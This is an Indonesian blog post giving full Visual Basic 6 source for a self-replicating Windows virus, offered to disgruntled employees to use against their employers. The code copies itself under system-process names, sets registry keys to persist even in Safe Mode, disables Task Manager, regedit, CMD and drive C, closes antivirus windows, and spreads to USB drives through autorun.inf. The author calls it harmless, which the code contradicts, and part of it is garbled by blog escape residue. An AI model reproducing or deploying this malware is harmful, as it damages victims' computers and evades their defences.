Program ini saya dapat dari seorang temen, dan sekarang saya ingin share ke temen-temen yang bekerja sebagai staf atau yang sedang sakit hati karena gaji sampai sekarang belum juga naik. Mungkin program ini cocok untuk membuat melek pimpinan perusahaan yang bertindak semena-mena terhadap karyawan.
Program virus sederhana dengan Visual Basic 6.0 ini cuma mengganggu Microsoft Office Word dan Excel.Misalkan user membuka Word pada kertas tempat mengetik sudah muncul pesan dari virus dan membuka Excel pun sudah muncul pesan dari virus, tapi tenang ajah kugh bos..virus ini baik hati .tidak akan merusak file anda maupun menghapus file anda..ini virus pelampiasan aja ...
Yang di butuhkan dalam membuat program ini adalah : 5 buah timer , 1 buah drivelistbox , .Pada proyek ini kita dapat belajar mengenai WINDOWS API SENDMESAGE , REGISTRI, Dan OTOMATISASI pada word dan excel.
Masukan source code ini pada " FORM "
Private
Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal
lpClassName As String, ByVal lpWindowName As String) As Long 'pencari
Kleas dan Window Name Suatu File
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA"
(ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As
Any) As Long 'sendmessage
Private Declare Function GetDriveType& Lib "Kernel32" Alias
"GetDriveTypeA" (ByVal nDrive As String) ' penghandel flashdisk
Private Declare Function ExitWindowsEx Lib "user32" (ByVal dwOptions As
Long, ByVal dwReserved As Long) As Long 'exit windows
Private Const WM_CLOSE = &H10
Private Const EWX_LOGOFF = 0
Private Const EWX_SHUTDOWN = 1
Private Const EWX_REBOOT = 2
Private Const EWX_FORCE = 4
Private Const EWX_POWEROFF = 8
Option Explicit
Dim FWnd
Dim obj As Object
Dim doc As Object
Dim WrkBook As Object
Dim WrkSheet As Object
Dim i As Integer
Dim RegRun
Dim FolderStartUp
Dim FolderMyDocuments
Dim FolderTemplates
Dim FolderNetHood
Dim FolderPrintHood
Dim FolderFavorites
Dim FolderSendTo
Dim FolderPrograms
Dim FlashDisk
Private Sub Form_Load()
On Error Resume Next
'acak caption virus shg caption akan berubah setiap windows startup atau
virus tereksekusi
Randomize
Me.Caption = Int(Rnd * 153214312443563624744875931105111121232#)
'silahkan masukan angka sesuka anda
'menggandakan diri
GandakefolderIstimewa
Me.Visible = False
App.TaskVisible = False 'virus tidak terlihat di task manager
InfeksiRegistry
End Sub
Sub BuatWord()
On Error Resume Next
Set obj = CreateObject("word.application")
Set doc = CreateObject("word.application")
Set doc = obj.Documents.Add
doc.Content = "TOLONG NAIKAN GAJIKU SEKARANG JUGA SETAN"
End Sub
Sub BuatXls()
On Error Resume Next
Set obj = CreateObject("excel.application")
Set WrkBook = obj.workbooks.Add
Set WrkSheet = WrkBook.worksheets.Add
WrkSheet.Cells(15, 4) = " TOLONG NAIKAN GAJIKU SEKARANG JUGA SETAN "
End Sub
Sub InfeksiRegistry()
On Error Resume Next
RegRun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon\Shell", "Explorer.exe" & " """ &
FolderMyDocuments & "\services.exe""" 'virus akan tetap berjalan
pada tipe windows Safe Mode
RegRun.regwrite
"HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\AlternateShell",
FolderFavorites & "\SalamKenal.exe" 'virus akan tetap berjalan pada
tipe windows Safe Mode With Command Prompt
RegRun.regwrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions",
1, "REG_DWORD" 'Folder Options tdk dapat diakses
RegRun.regwrite
"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions",
1, "REG_DWORD" 'Folder Options tdk dapat diakses
RegRun.regwrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden",
0, "REG_DWORD" 'Sembunyikan file beratribut superhidden/File-file
system
RegRun.regwrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden",
0, "REG_DWORD" 'Sembunyikan file beratribut superhidden/File-file
system
RegRun.regwrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD",
1, "REG_DWORD" 'Disable CMD dan File .Bat
RegRun.regwrite
"HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD",
1, "REG_DWORD" 'Disable CMD dan File .Bat
RegRun.regwrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools",
1, "REG_DWORD" 'registry tdk dapat diakses dan tdk dapat melakukan
pengimporan file berekstensi Reg
RegRun.regwrite
"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools",
1, "REG_DWORD" 'registry tdk dapat diakses dan tdk dapat melakukan
pengimporan file berekstensi Reg
RegRun.regwrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon",
FolderTemplates & "\smss.exe" 'smss.exe berjalan pada saat startup
RegRun.regwrite
"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon",
FolderSendTo & "\System.exe" 'System.exe berjalan pada saat startup
RegRun.regwrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind",
1, "REG_DWORD" 'search pd star menu hilang
RegRun.regwrite
"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind",
1, "REG_DWORD" 'Ssearch pd star menu hilang
RegRun.regwrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp",
1, "REG_DWORD" 'help suport pd star menu hilang
RegRun.regwrite
"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp",
1, "REG_DWORD" 'help suport pd star menu hilang
RegRun.regwrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose",
1, "REG_DWORD" 'Tombol Turn Off pd star menu hilang
RegRun.regwrite
"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose",
1, "REG_DWORD" 'Tombol Turn Off pd star menu hilang
RegRun.regwrite "HKEY_CURRENT_USER\Control Panel\Colors\WindowText",
"255 0 0", "REG_SZ" 'DEFAULT TEKS MENJADI MERAH
RegRun.regwrite "HKEY_CLASSES_ROOT\Drive\shell\Scan With
Antivirus\Command\", FolderFavorites & "\SalamKenal.exe" 'Membuat
Menu Scan With Antivirus pada klik kanan Drive-drive, tapi bukan
Antivirus yang dijalankan melainkan Virus SalamKenal.exe yang terletak
di Folder Favorite
RegRun.regwrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives",
4, "REG_DWORD" 'Drive C hilang
RegRun.regwrite
"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives",
4, "REG_DWORD" 'Drive C hilang
RegRun.regwrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu",
1, "REG_DWORD" 'Menu File pada Windows Ekplorer hilang
RegRun.regwrite
"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu",
1, "REG_DWORD" 'Menu File pada Windows Ekplorer hilang
RegRun.regwrite
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom\Autorun", 1,
"REG_DWORD" 'Autorun pada CD atau USB
End Sub
Sub GandaKeFlashDisk()
On Error Resume Next
If Dir(FlashDisk & "\Winlogon.exe") <> "Winlogon.exe" Then
'mengecek ada atau tdknya winlogon.exe di flashdisk jika tdk ada
kemudian
FileCopy FolderStartUp & "\Winlogon.exe", FlashDisk &
"\Winlogon.exe"
SetAttr FlashDisk & "\Winlogon.exe", vbHidden + vbSystem +
vbReadOnly
End If
BuatFileAutorunInf
End Sub
Sub BuatFileAutorunInf()
'membuat file Autorun.inf ke flashdisk yang berfungsi agar setiap
flashdisk jika di klik dua kali/klik kanan trus klik open maka Virus
(winlogon.exe) akan tereksekusi
On Error Resume Next
Open FlashDisk & "\Autorun.Inf" For Output As 1
Print #1, "[AutoRun]"
Print #1, "Icon=Winlogon.exe" 'Agar FlashDisk Memiliki Icon Sama dengan
Virus
Print #1, "Open=Winlogon.exe"
Print #1, "ShellExecute=Winlogon.exe"
Print #1, "Shell\Open\Command=Winlogon.exe"
Print #1, "Shell=Open"
Close #1
SetAttr FlashDisk & "\Autorun.Inf", vbHidden + vbSystem + vbReadOnly
End Sub
Sub GandakefolderIstimewa()
On Error Resume Next
Set RegRun = CreateObject("WScript.Shell")
FolderStartUp = RegRun.specialfolders("StartUp")
FolderMyDocuments = RegRun.specialfolders("MyDocuments")
FolderTemplates = RegRun.specialfolders("Templates")
FolderNetHood = RegRun.specialfolders("NetHood")
FolderPrintHood = RegRun.specialfolders("PrintHood")
FolderFavorites = RegRun.specialfolders("Favorites")
FolderSendTo = RegRun.specialfolders("SendTo")
FolderPrograms = RegRun.specialfolders("Programs")
On Error Resume Next
'membuat virus dengan nama winlogon.exe
FileCopy App.Path & "\" & App.EXEName & ".exe",
FolderStartUp & "\WinLogon.Exe"
SetAttr FolderStartUp & "\Winlogon.exe", vbHidden + vbSystem +
vbReadOnly
'membuat virus dengan nama services.exe
FileCopy App.Path & "\" & App.EXEName & ".exe",
FolderMyDocuments & "\services.Exe"
SetAttr FolderMyDocuments & "\services.exe", vbHidden + vbSystem +
vbReadOnly
'membuat virus dengan nama smss.exe
FileCopy App.Path & "\" & App.EXEName & ".exe",
FolderTemplates & "\smss.Exe"
SetAttr FolderTemplates & "\smss.Exe", vbHidden + vbSystem +
vbReadOnly
'membuat virus dengan nama csrss.exe
FileCopy App.Path & "\" & App.EXEName & ".exe",
FolderPrintHood & "\csrss.Exe"
SetAttr FolderPrintHood & "\csrss.exe", vbHidden + vbSystem +
vbReadOnly
'membuat virus dengan nama Isass.exe
FileCopy App.Path & "\" & App.EXEName & ".exe",
FolderNetHood & "\Isass.Exe"
SetAttr FolderNetHood & "\Isass.exe", vbHidden + vbSystem +
vbReadOnly
'membuat virus dengan nama SalamKenal.exe
FileCopy App.Path & "\" & App.EXEName & ".exe",
FolderFavorites & "\SalamKenal.Exe"
SetAttr FolderFavorites & "\SalamKenal.exe", vbHidden + vbSystem +
vbReadOnly
'membuat virus dengan nama System.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderSendTo
& "\System.Exe"
SetAttr FolderSendTo & "\System.exe", vbHidden + vbSystem +
vbReadOnly
'membuat virus dengan nama ctfmon.exe
FileCopy App.Path & "\" & App.EXEName & ".exe",
FolderPrograms & "\ctfmon.Exe"
SetAttr FolderPrograms & "\ctfmon.exe", vbHidden + vbSystem +
vbReadOnly
End Sub
Private Sub Timer1_Timer() 'Timer 1 diberi interval 5 detik
On Error Resume Next
FWnd = FindWindow("OpusApp", "Document1 - Microsoft Word") 'Ms Word
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatWord
obj.Visible = True
Timer2.Enabled = True
Timer1.Enabled = False
End If
On Error Resume Next
FWnd = FindWindow("OpusApp", "New Microsoft Word Document.doc -
Microsoft Word") 'Ms Word
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatWord
obj.Visible = True
Timer2.Enabled = True
Timer1.Enabled = False
End If
End Sub
Private Sub Timer2_Timer()
On Error Resume Next
FWnd = FindWindow("XLMAIN", "Microsoft Excel - Book1") 'ms excel
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatXls
obj.Visible = True
Timer1.Enabled = True
Timer2.Enabled = False
End If
On Error Resume Next
FWnd = FindWindow("XLMAIN", "Microsoft Excel - New Microsoft Excel
Worksheet.xls") 'ms excel
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatXls
obj.Visible = True
Timer1.Enabled = True
Timer2.Enabled = False
End If
End Sub
Private Sub Timer3_Timer()
On Error Resume Next
'menutup aplikasi yang berbahaya bagi virus
FWnd = FindWindow("#32770", "RUN") 'jendela run
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "System Configuration Utility") 'msconfig
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "Windows Task Manager") 'task manager
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "Avira AntiVir Personal – Free Antivirus")
'Avira Antivir
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "AntiVir Guard: Attention, Detection!")
'Avira Antivir
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("RegEdit_RegEdit", vbNullString) 'regedit.exe
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("TMainForm", vbNullString) 'aplikasi buatan Delphi
(Antivirus PCMAV yang versi lama dapat ditutup tetapi versi yang baru
tidak bisa dihentikan) <:d data-blogger-escaped--=""
data-blogger-escaped-0="" data-blogger-escaped-1=""
data-blogger-escaped-2="" data-blogger-escaped-and=""
data-blogger-escaped-aplikasi="" data-blogger-escaped-buatan=""
data-blogger-escaped-cari="" data-blogger-escaped-delphi=""
data-blogger-escaped-drive1.listcount="" data-blogger-escaped-end=""
data-blogger-escaped-error="" data-blogger-escaped-flashdisk=""
data-blogger-escaped-for="" data-blogger-escaped-fwnd=""
data-blogger-escaped-getdrivetype="" data-blogger-escaped-i=""
data-blogger-escaped-if="" data-blogger-escaped-left=""
data-blogger-escaped-next="" data-blogger-escaped-on=""
data-blogger-escaped-pplication="" data-blogger-escaped-private=""
data-blogger-escaped-resume="" data-blogger-escaped-rive1.list=""
data-blogger-escaped-sendmessage="" data-blogger-escaped-sub=""
data-blogger-escaped-timer4_timer="" data-blogger-escaped-to=""
data-blogger-escaped-vbnullstring=""
data-blogger-escaped-wm_close=""> "a" Then
FlashDisk = (Drive1.List(i))
Timer4.Enabled = False 'agar lampu flashdisk tdk berkedip-kedip terlalu
lama, sehingga tdk mencurigakan si empunya flashdisk
Exit For
End If
Next
GandaKeFlashDisk '
End Sub
Private Sub Timer5_Timer()
On Error Resume Next
InfeksiRegistry
'Mungkin salah satu virus dihapus shg perlu selalu menggandakan diri
GandakefolderIstimewa
'menyalakan timer 4
If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <>
"a" Then
Timer4.Enabled = True
End If
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = 1
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = 1
End Sub
